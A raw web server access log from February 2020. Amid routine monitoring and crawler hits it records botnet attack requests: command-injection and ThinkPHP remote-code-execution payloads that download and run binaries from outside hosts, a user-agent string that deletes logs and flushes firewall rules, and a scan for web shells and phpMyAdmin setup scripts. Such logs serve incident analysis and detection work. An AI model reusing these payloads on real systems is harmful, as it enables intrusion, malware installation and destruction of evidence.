85.97.196.40 - - [17/Feb/2020:10:06:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
54.36.149.59 - - [17/Feb/2020:10:06:54 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.162 - - [17/Feb/2020:10:06:54 +0100] "GET /seiten/referenzen.htm HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [17/Feb/2020:10:07:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:08:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:09:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:11:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:12:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:13:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:14:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:15:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.231.105.28 - - [17/Feb/2020:10:15:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:10:16:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:17:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.119.37 - - [17/Feb/2020:10:17:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:10:18:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.196.23.99 - - [17/Feb/2020:10:18:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:10:19:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.87.141 - - [17/Feb/2020:10:19:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [17/Feb/2020:10:20:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:21:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:22:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:23:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:24:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:25:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.163.213.156 - - [17/Feb/2020:10:25:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:10:26:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.57.171.24 - - [17/Feb/2020:10:26:48 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [17/Feb/2020:10:27:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:28:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:29:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:30:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:31:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:32:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:33:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:34:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:35:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:36:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:37:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:38:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.50.163.192 - - [17/Feb/2020:10:38:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
87.6.140.233 - - [17/Feb/2020:10:39:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
88.224.180.231 - - [17/Feb/2020:10:39:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
88.224.180.231 - - [17/Feb/2020:10:39:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
120.193.219.42 - - [17/Feb/2020:10:39:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:10:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.125.122.241 - - [17/Feb/2020:10:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:10:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:10:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.47.55 - - [17/Feb/2020:10:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:10:53:31 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:10:53:31 +0100] "POST /Admin52f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
140.143.47.55 - - [17/Feb/2020:10:53:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
140.143.47.55 - - [17/Feb/2020:10:53:53 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
140.143.47.55 - - [17/Feb/2020:10:53:53 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
140.143.47.55 - - [17/Feb/2020:10:53:54 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
140.143.47.55 - - [17/Feb/2020:10:53:57 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.47.55 - - [17/Feb/2020:10:54:21 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [17/Feb/2020:10:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.47.55 - - [17/Feb/2020:10:54:45 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.47.55 - - [17/Feb/2020:10:55:09 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [17/Feb/2020:10:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.47.55 - - [17/Feb/2020:10:55:33 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.47.55 - - [17/Feb/2020:10:55:57 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.47.55 - - [17/Feb/2020:10:56:21 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
185.31.163.237 - - [17/Feb/2020:10:56:21 +0100] "POST /images.php HTTP/1.1" 404 315 "-" "curl/7.58.0"
212.91.246.72 - - [17/Feb/2020:10:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.47.55 - - [17/Feb/2020:10:56:45 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
140.143.47.55 - - [17/Feb/2020:10:56:45 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:46 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:46 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:46 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:46 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:49 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:49 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:50 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:50 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:50 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:50 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:50 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:51 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:53 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:53 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:53 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:53 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:53 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:54 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:54 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:54 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:54 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:54 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:55 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:57 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:57 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:57 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:58 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:56:59 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:01 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:01 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:01 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:01 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:02 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:02 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:02 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:04 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:05 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:05 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:06 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:06 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:06 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:06 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:06 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:07 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:07 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:07 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:09 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:09 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:09 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:09 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:10 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:10 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:10 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:10 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:11 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
140.143.47.55 - - [17/Feb/2020:10:57:11 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
